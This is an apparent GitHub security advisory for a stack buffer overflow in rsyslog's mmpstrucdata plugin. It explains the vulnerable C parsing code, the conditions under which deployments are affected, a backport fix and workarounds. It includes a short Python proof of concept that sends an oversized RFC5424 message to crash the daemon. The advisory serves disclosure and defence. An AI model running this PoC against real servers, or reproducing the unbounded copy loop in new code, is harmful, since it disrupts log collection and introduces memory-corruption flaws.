Skip to content

GHSA-8qmr-c66f-g368

CVE Information

Summary

A stack-based buffer overflow exists in the optional mmpstrucdata plugin when parsing oversized RFC5424 structured-data parameter values.

In affected versions, parseSD_PARAM() allocates a 32,768-byte stack buffer (pVal[32*1024]) and passes it to parsePARAM_VALUE() without a size argument. parsePARAM_VALUE() writes into that buffer without a destination-size check, bounded only by lenbuf (the structured-data length). When the effective MaxMessageSize is large enough to accept an oversized structured-data parameter value, a crafted RFC5424 message can overflow the stack buffer.

Default rsyslog configurations that do not load and use mmpstrucdata, or that keep the effective message-size limit below the required threshold, are not affected by this specific issue.

Affected configurations

This issue affects deployments that meet all of the following conditions:

  • the optional mmpstrucdata plugin is installed;
  • the plugin is explicitly loaded and used in the rsyslog configuration;
  • attacker-controlled RFC5424 structured data reaches that action;
  • MaxMessageSize is configured high enough to permit an oversized structured-data parameter value above the historical fixed 32 KiB buffer size.

Downstream packaging varies. Some distributions may package mmpstrucdata separately, include it in a larger rsyslog package, or not ship it at all. Users and distributions should verify whether the plugin is installed and configured.

Raising MaxMessageSize above the upstream default is common in some larger enterprise log-processing deployments, so this prerequisite should not be dismissed as purely theoretical. It does, however, materially limit exposure for default or smaller-message deployments.

Details

plugins/mmpstrucdata/mmpstrucdata.c:

// parseSD_PARAM - fixed 32768-byte stack buffer, size never passed to callee
static rsRetVal parseSD_PARAM(instanceData *const pData, uchar *sdbuf,
                               int lenbuf, int *curridx, struct json_object *jroot) {
    uchar pName[33];
    uchar pVal[32 * 1024];
    ...
    CHKiRet(parsePARAM_VALUE(sdbuf, lenbuf, &i, pVal));
}

// parsePARAM_VALUE - j increments based on input length, not destination size
static rsRetVal parsePARAM_VALUE(uchar *sdbuf, int lenbuf, int *curridx, uchar *fieldbuf) {
    int i, j;
    i = *curridx;
    j = 0;
    while (i < lenbuf && sdbuf[i] != '"') {
        fieldbuf[j++] = sdbuf[i++];
    }
    fieldbuf[j] = '\0';
}

The reporter demonstrated crashes on Debian 12 with rsyslog 8.2302.0 using both TCP and UDP inputs, with global(maxMessageSize="40000"), mmpstrucdata loaded, and an action invoking mmpstrucdata.

PoC

#!/usr/bin/env python3
"""
mmpstrucdata stack buffer overflow PoC.
Requires: MaxMessageSize > 32793, mmpstrucdata module loaded.
"""
import socket, sys

TARGET = (sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1",
          int(sys.argv[2]) if len(sys.argv) > 2 else 514)
VALUE_LEN = int(sys.argv[3]) if len(sys.argv) > 3 else 35000

header   = b'<14>1 2026-05-06T00:00:00Z - - - - '
sd_value = b'A' * VALUE_LEN
msg      = header + b'[test k="' + sd_value + b'"] overflow\n'

print(f"[*] Target: {TARGET[0]}:{TARGET[1]}")
print(f"[*] SD param length: {VALUE_LEN} bytes")
print(f"[*] Total message:   {len(msg)} bytes")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(TARGET)
s.send(msg)
s.close()

Impact

For affected configurations, a remote unauthenticated attacker who can send crafted RFC5424 messages to an rsyslog input path processed by mmpstrucdata can crash the rsyslog process, causing denial of service and interruption of log collection.

The demonstrated impact is process crash / denial of service. Because this is a stack overwrite with attacker-controlled data, code execution may be possible on some platforms or builds depending on libc behavior and compiler/runtime hardening. Code execution has not been demonstrated by the rsyslog project on standard hardened glibc-based distribution builds.

Fix

Upstream main no longer contains this vulnerable code path. After the report, PR #6991 removed the fixed-size structured-data parameter buffer as part of broader mmpstrucdata cleanup/refactoring work.

For downstream and distribution coordination, the recommended backport is the smaller targeted fix shown below:

// In parseSD_PARAM - replace:
//   uchar pVal[32 * 1024];
// With:
uchar *pVal = malloc((size_t)lenbuf + 1);
if (pVal == NULL) { iRet = RS_RET_OUT_OF_MEMORY; goto finalize_it; }
CHKiRet(parsePARAM_VALUE(sdbuf, lenbuf, &i, pVal));
...
finalize_it:
    free(pVal);

The first planned upstream release containing the fix is 8.2606.0.

Workarounds

Users who cannot immediately update can mitigate this issue by ensuring that affected messages cannot reach mmpstrucdata:

  • do not load or use mmpstrucdata unless required;
  • restrict network inputs that feed actions using mmpstrucdata;
  • keep MaxMessageSize below the threshold required for the oversized structured-data parameter value where operationally possible.

These mitigations may not be suitable for deployments that require mmpstrucdata and large RFC5425 messages.

Credits

Reported by mikecole-mg.